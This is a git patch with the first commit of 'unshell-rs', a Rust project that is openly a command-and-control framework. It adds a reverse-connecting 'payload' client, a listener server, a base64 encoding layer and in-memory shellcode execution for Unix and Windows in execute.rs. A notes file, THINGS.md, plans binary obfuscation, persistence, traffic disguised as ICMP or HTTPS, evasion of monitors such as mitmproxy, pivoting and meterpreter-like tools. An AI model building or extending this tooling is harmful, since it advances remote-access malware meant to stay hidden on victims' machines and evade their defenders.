From 8adfc68854359a321eb9b06cae8c3b69f1f0c15e Mon Sep 17 00:00:00 2001 From: Michael Mikovsky <77305074+Astatin3@users.noreply.github.com> Date: Wed, 4 Jun 2025 22:52:20 -0600 Subject: [PATCH] Start working on structure --- .gitignore | 5 +++ Cargo.toml | 10 ++++++ THINGS.md | 41 +++++++++++++++++++++ payload/Cargo.toml | 8 +++++ payload/src/execute.rs | 79 ++++++++++++++++++++++++++++++++++++++++ payload/src/main.rs | 24 +++++++++++++ server/Cargo.toml | 7 ++++ server/src/main.rs | 14 ++++++++ src/layers/base64.rs | 17 +++++++++ src/layers/mod.rs | 8 +++++ src/lib.rs | 5 +++ src/listeners/client.rs | 9 +++++ src/listeners/mod.rs | 4 +++ src/listeners/server.rs | 49 +++++++++++++++++++++++++ src/networkers/mod.rs | 29 +++++++++++++++ src/networkers/tcp.rs | 57 +++++++++++++++++++++++++++++ src/packets/mod.rs | 9 +++++ src/packets/sysinfo.rs | 6 ++++ src/payload.rs | 80 +++++++++++++++++++++++++++++++++++++++++ 19 files changed, 461 insertions(+) create mode 100644 Cargo.toml create mode 100644 THINGS.md create mode 100644 payload/Cargo.toml create mode 100644 payload/src/execute.rs create mode 100644 payload/src/main.rs create mode 100644 server/Cargo.toml create mode 100644 server/src/main.rs create mode 100644 src/layers/base64.rs create mode 100644 src/layers/mod.rs create mode 100644 src/lib.rs create mode 100644 src/listeners/client.rs create mode 100644 src/listeners/mod.rs create mode 100644 src/listeners/server.rs create mode 100644 src/networkers/mod.rs create mode 100644 src/networkers/tcp.rs create mode 100644 src/packets/mod.rs create mode 100644 src/packets/sysinfo.rs create mode 100644 src/payload.rs diff --git a/.gitignore b/.gitignore index 6985cf1..196e176 100644 --- a/.gitignore +++ b/.gitignore @@ -12,3 +12,8 @@ Cargo.lock # MSVC Windows builds of rustc generate these, which store debugging information *.pdb + + +# Added by cargo + +/target diff --git a/Cargo.toml b/Cargo.toml new file mode 100644 index 0000000..572b7cf --- /dev/null +++ b/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "unshell-rs" +version = "0.1.0" +edition = "2024" + +[dependencies] +base64 = "0.22.1" +log = "0.4.27" +serde = { version = "1.0.219", features = ["derive"] } +serde_json = "1.0.140" diff --git a/THINGS.md b/THINGS.md new file mode 100644 index 0000000..89be668 --- /dev/null +++ b/THINGS.md @@ -0,0 +1,41 @@ +### Binary +- Obfustcation +- Randomly generated packed binaries +- Rust is already hard to decompile? +- Persistance + - Probably out of scope +- Build targets + - To achieve a minimal size, there should probably be a way to pack diffrent features with the actual result binary. + +### Network +- Diffrent traffic obfuscators: + - ICMP + - HTTPS (Using actual webpages) + - OpenVPN (Hard to replicate in rust) +- "Hole Widening" + - Initial reverse shell is the final one + - Minimal presence on remote machine + - Instead of downloading binaries and then executing them, use the shell connection as a kind of remote storage server. +- Pivoting + - UI for sub-connections. + - A protocol that acts similar to routers and DHCP, registering known devices with the C2 server. Sub-devices will relay packets + - Packets must be encrypted, so that only the destination can decrypt. + - How? +- ### Encryption + - Diffrent "encryptors" such as PGP + - Everything must be self-implemented because of traffic monitors such as mitmproxy + - HTTPS could transmit over the actual TLS implemented by the system, and transfer data through things such as base64 images on webpages, which would itself be encrypted + +### UI +- Egui?? + - Usable both on web and on-device +- Network diagram creation tool + +### Tools +- These are the diffrent tools that can be transmitted, and then run on a machine +- Host discovery && port scanning +- File upload and download +- Screenshare +- Virtual browser and desktop +- meterpreter functionality? +- Scripting? diff --git a/payload/Cargo.toml b/payload/Cargo.toml new file mode 100644 index 0000000..49d5773 --- /dev/null +++ b/payload/Cargo.toml @@ -0,0 +1,8 @@ +[package] +name = "payload" +version = "0.1.0" +edition = "2024" + +[dependencies] +# libc = "0.2.172" +unshell-rs = { path = "../" } diff --git a/payload/src/execute.rs b/payload/src/execute.rs new file mode 100644 index 0000000..84878d7 --- /dev/null +++ b/payload/src/execute.rs @@ -0,0 +1,79 @@ +use std::error::Error; + +#[allow(dead_code)] +#[cfg(unix)] +unsafe fn execute_in_memory(binary_data: &[u8]) -> Result<(), Box> { + use std::mem; + + // Allocate executable memory + let size = binary_data.len(); + let page_size = 4096; // Typical page size + let aligned_size = (size + page_size - 1) & !(page_size - 1); + + let ptr = libc::mmap( + std::ptr::null_mut(), + aligned_size, + libc::PROT_READ | libc::PROT_WRITE, + libc::MAP_PRIVATE | libc::MAP_ANONYMOUS, + -1, + 0, + ); + + if ptr == libc::MAP_FAILED { + return Err(Box::new(std::io::Error::last_os_error())); + } + + // Copy binary data to allocated memory + std::ptr::copy_nonoverlapping(binary_data.as_ptr(), ptr as *mut u8, size); + + // Make memory executable + if libc::mprotect(ptr, aligned_size, libc::PROT_READ | libc::PROT_EXEC) != 0 { + libc::munmap(ptr, aligned_size); + return Err(Box::new(std::io::Error::last_os_error())); + } + + // Cast to function pointer and execute + // This assumes the binary is a simple executable that can be called as a function + // For ELF binaries, you'd need proper ELF parsing and loading + let func: extern "C" fn() = mem::transmute(ptr); + + println!("Executing binary..."); + func(); + + // Clean up + libc::munmap(ptr, aligned_size); + + Ok(()) +} + +#[cfg(windows)] +unsafe fn execute_in_memory(binary_data: &[u8]) -> Result<(), Box> { + use std::mem; + use std::ptr; + + // Allocate executable memory + let ptr = winapi::um::memoryapi::VirtualAlloc( + ptr::null_mut(), + binary_data.len(), + winapi::um::winnt::MEM_COMMIT | winapi::um::winnt::MEM_RESERVE, + winapi::um::winnt::PAGE_EXECUTE_READWRITE, + ); + + if ptr.is_null() { + return Err(Box::new(std::io::Error::last_os_error())); + } + + // Copy binary data to allocated memory + ptr::copy_nonoverlapping(binary_data.as_ptr(), ptr as *mut u8, binary_data.len()); + + // Cast to function pointer and execute + let func: extern "C" fn() = mem::transmute(ptr); + + println!("Executing binary..."); + func(); + + // Clean up + winapi::um::memoryapi::VirtualFree(ptr, 0, winapi::um::winnt::MEM_RELEASE); + + Ok(()) +} diff --git a/payload/src/main.rs b/payload/src/main.rs new file mode 100644 index 0000000..32d7cae --- /dev/null +++ b/payload/src/main.rs @@ -0,0 +1,24 @@ +// #[allow(unsafe_op_in_unsafe_fn)] +// mod execute; + +use std::error::Error; +use unshell_rs::{ + networkers::{TCPClient, TCPConnection}, + payload::run_client, +}; + +// /// Pipe streams are blocking, we need separate threads to monitor them without blocking the primary thread. +// fn child_stream_to_vec(mut stream: R) -> Arc>> +// where +// R: Read + Send + 'static, +// { +// let out = Arc::new(Mutex::new(Vec::new())); +// let vec = out.clone(); + +// } + +fn main() -> Result<(), Box> { + run_client::("127.0.0.1:3000")?; + + Ok(()) +} diff --git a/server/Cargo.toml b/server/Cargo.toml new file mode 100644 index 0000000..9ebb903 --- /dev/null +++ b/server/Cargo.toml @@ -0,0 +1,7 @@ +[package] +name = "server" +version = "0.1.0" +edition = "2024" + +[dependencies] +unshell-rs = { path = "../" } diff --git a/server/src/main.rs b/server/src/main.rs new file mode 100644 index 0000000..6bbbc25 --- /dev/null +++ b/server/src/main.rs @@ -0,0 +1,14 @@ +use std::error::Error; + +use unshell_rs::{ + listeners::Listener, + networkers::{ServerTrait, TCPServer}, +}; + +fn main() -> Result<(), Box> { + let mut server = Listener::new(TCPServer::bind("0.0.0.0:3000")?); + + server.run_listener()?; + + Ok(()) +} diff --git a/src/layers/base64.rs b/src/layers/base64.rs new file mode 100644 index 0000000..2f3aa2a --- /dev/null +++ b/src/layers/base64.rs @@ -0,0 +1,17 @@ +use crate::layers::Layer; +use base64; + +#[derive(Default)] +pub struct Base64; + +impl Layer for Base64 { + fn encode(&mut self, data: &[u8]) -> Vec { + #[allow(deprecated)] + base64::encode(str::from_utf8(data).unwrap()).into_bytes() + } + + fn decode(&mut self, data: &[u8]) -> Vec { + #[allow(deprecated)] + base64::decode(str::from_utf8(data).unwrap()).unwrap() + } +} diff --git a/src/layers/mod.rs b/src/layers/mod.rs new file mode 100644 index 0000000..c338522 --- /dev/null +++ b/src/layers/mod.rs @@ -0,0 +1,8 @@ +pub trait Layer { + fn encode(&mut self, data: &[u8]) -> Vec; + fn decode(&mut self, data: &[u8]) -> Vec; +} + +pub mod base64; + +pub use base64::Base64; diff --git a/src/lib.rs b/src/lib.rs new file mode 100644 index 0000000..45e8ee6 --- /dev/null +++ b/src/lib.rs @@ -0,0 +1,5 @@ +pub mod layers; +pub mod listeners; +pub mod networkers; +pub mod packets; +pub mod payload; diff --git a/src/listeners/client.rs b/src/listeners/client.rs new file mode 100644 index 0000000..2397f36 --- /dev/null +++ b/src/listeners/client.rs @@ -0,0 +1,9 @@ +pub struct Client { + pub stream: C, +} + +impl Client { + pub fn new(stream: C) -> Self { + Self { stream } + } +} diff --git a/src/listeners/mod.rs b/src/listeners/mod.rs new file mode 100644 index 0000000..66a989e --- /dev/null +++ b/src/listeners/mod.rs @@ -0,0 +1,4 @@ +mod client; +mod server; + +pub use server::Listener; diff --git a/src/listeners/server.rs b/src/listeners/server.rs new file mode 100644 index 0000000..73d7c88 --- /dev/null +++ b/src/listeners/server.rs @@ -0,0 +1,49 @@ +use log::{info, trace, warn}; + +use std::{ + io::{self, Write}, + sync::{Arc, Mutex}, + thread, +}; + +use crate::{ + listeners::client::{self, Client}, + networkers::{Connection, ServerTrait}, + packets::Packet, +}; + +pub struct Listener { + pub server: Arc>, + pub clients: Arc>>>, +} + +impl Listener { + pub fn new(server: S) -> Self { + Self { + server: Arc::new(Mutex::new(server)), + clients: Arc::new(Mutex::new(Vec::new())), + } + } + + pub fn run_listener(&mut self) -> Result<(), Box> + where + S: ServerTrait, + C: Connection + 'static, + S::Error: std::error::Error + 'static, + C::Error: std::error::Error + 'static, + { + loop { + let mut conn_lock = self.server.lock().unwrap(); + + match conn_lock.accept() { + Ok(conn) => { + let mut clients_lock = self.clients.lock().unwrap(); + clients_lock.push(Client::new(conn)); + } + Err(e) => { + eprintln!("Failed to accept connection: {:?}", e); + } + } + } + } +} diff --git a/src/networkers/mod.rs b/src/networkers/mod.rs new file mode 100644 index 0000000..8861fdb --- /dev/null +++ b/src/networkers/mod.rs @@ -0,0 +1,29 @@ +/// This is the lowset-level data transmission type + +pub trait Connection: Send + Sync { + type Error: std::fmt::Debug; + + fn read(&mut self) -> Result; + fn write(&mut self, data: &str) -> Result<(), Self::Error>; +} + +pub trait ServerTrait { + type Error: std::fmt::Debug; + + fn accept(&mut self) -> Result; + fn bind(address: &str) -> Result + where + Self: Sized; +} + +pub trait ClientTrait { + type Error: std::fmt::Debug; + + fn connect(address: &str) -> Result; +} + +mod tcp; + +pub use tcp::TCPClient; +pub use tcp::TCPConnection; +pub use tcp::TCPServer; diff --git a/src/networkers/tcp.rs b/src/networkers/tcp.rs new file mode 100644 index 0000000..794133b --- /dev/null +++ b/src/networkers/tcp.rs @@ -0,0 +1,57 @@ +use std::{ + io::{self, BufRead, BufReader, Write}, + net::{TcpListener, TcpStream}, +}; + +use crate::networkers::{ClientTrait, Connection, ServerTrait}; + +pub struct TCPConnection { + stream: TcpStream, + reader: BufReader, +} + +impl Connection for TCPConnection { + type Error = io::Error; + + fn read(&mut self) -> Result { + let mut line = String::new(); + self.reader.read_line(&mut line)?; + Ok(line.trim_end().to_string()) + } + + fn write(&mut self, data: &str) -> Result<(), Self::Error> { + writeln!(self.stream, "{}", data)?; + self.stream.flush() + } +} + +pub struct TCPServer { + listener: TcpListener, +} + +impl ServerTrait for TCPServer { + type Error = io::Error; + + fn accept(&mut self) -> Result { + let (stream, _) = self.listener.accept()?; + let reader = BufReader::new(stream.try_clone()?); + Ok(TCPConnection { stream, reader }) + } + + fn bind(address: &str) -> Result { + let listener = TcpListener::bind(address)?; + Ok(Self { listener }) + } +} + +pub struct TCPClient; + +impl ClientTrait for TCPClient { + type Error = io::Error; + + fn connect(address: &str) -> Result { + let stream = TcpStream::connect(address)?; + let reader = BufReader::new(stream.try_clone()?); + Ok(TCPConnection { stream, reader }) + } +} diff --git a/src/packets/mod.rs b/src/packets/mod.rs new file mode 100644 index 0000000..c727c6d --- /dev/null +++ b/src/packets/mod.rs @@ -0,0 +1,9 @@ +use serde::{Deserialize, Serialize}; + +mod sysinfo; + +#[derive(Serialize, Deserialize, Debug)] +pub enum Packet { + Heartbeat, + Sysinfo(sysinfo::Sysinfo), +} diff --git a/src/packets/sysinfo.rs b/src/packets/sysinfo.rs new file mode 100644 index 0000000..5b3e892 --- /dev/null +++ b/src/packets/sysinfo.rs @@ -0,0 +1,6 @@ +use serde::{Deserialize, Serialize}; + +#[derive(Serialize, Deserialize, Debug)] +pub struct Sysinfo { + hostname: String, +} diff --git a/src/payload.rs b/src/payload.rs new file mode 100644 index 0000000..b890707 --- /dev/null +++ b/src/payload.rs @@ -0,0 +1,80 @@ +use std::{ + sync::{Arc, Mutex}, + thread, + time::Duration, +}; + +use crate::{ + networkers::{ClientTrait, Connection}, + packets::Packet, +}; + +// Generic client function +pub fn run_client(address: &str) -> Result<(), Box> +where + Cl: ClientTrait, + C: Connection + 'static, + Cl::Error: std::error::Error + 'static, + C::Error: std::error::Error + 'static, +{ + let recv_conn = Arc::new(Mutex::new(Cl::connect(address)?)); + let transmit_vec: Arc>> = Arc::new(Mutex::new(Vec::new())); + + let transmit_conn = Arc::clone(&recv_conn); + let transmit_vec_clone = Arc::clone(&transmit_vec); + + thread::spawn(move || { + loop { + let mut transmit_vec_lock = transmit_vec.lock().unwrap(); + if transmit_vec_lock.len() > 0 { + let mut conn_lock = recv_conn.lock().unwrap(); + if let Ok(json) = serde_json::to_string(&transmit_vec_lock.pop().unwrap()) { + conn_lock.write(&json).expect("Failed to send packet!"); + } + } else { + thread::sleep(Duration::from_millis(10)); + } + } + }); + + loop { + let mut conn_lock = transmit_conn.lock().unwrap(); + let data = conn_lock.read(); + drop(conn_lock); + match data { + Ok(data_json) => { + if data_json.is_empty() { + continue; + } + let packet = serde_json::from_str::(data_json.as_str()); + println!("{:?}", packet); + } + Err(e) => { + eprintln!("Error reading, {}", e); + } + } + } + + // loop { + // let mut input = String::new(); + // stdin.read_line(&mut input)?; + // let input = input.trim(); + + // if input == "quit" { + // conn.write(input)?; + // break; + // } + + // if !input.is_empty() { + // conn.write(input)?; + + // match conn.read() { + // Ok(response) => println!("Server: {}", response), + // Err(e) => { + // eprintln!("Failed to read response: {:?}", e); + // break; + // } + // } + // } + // } +}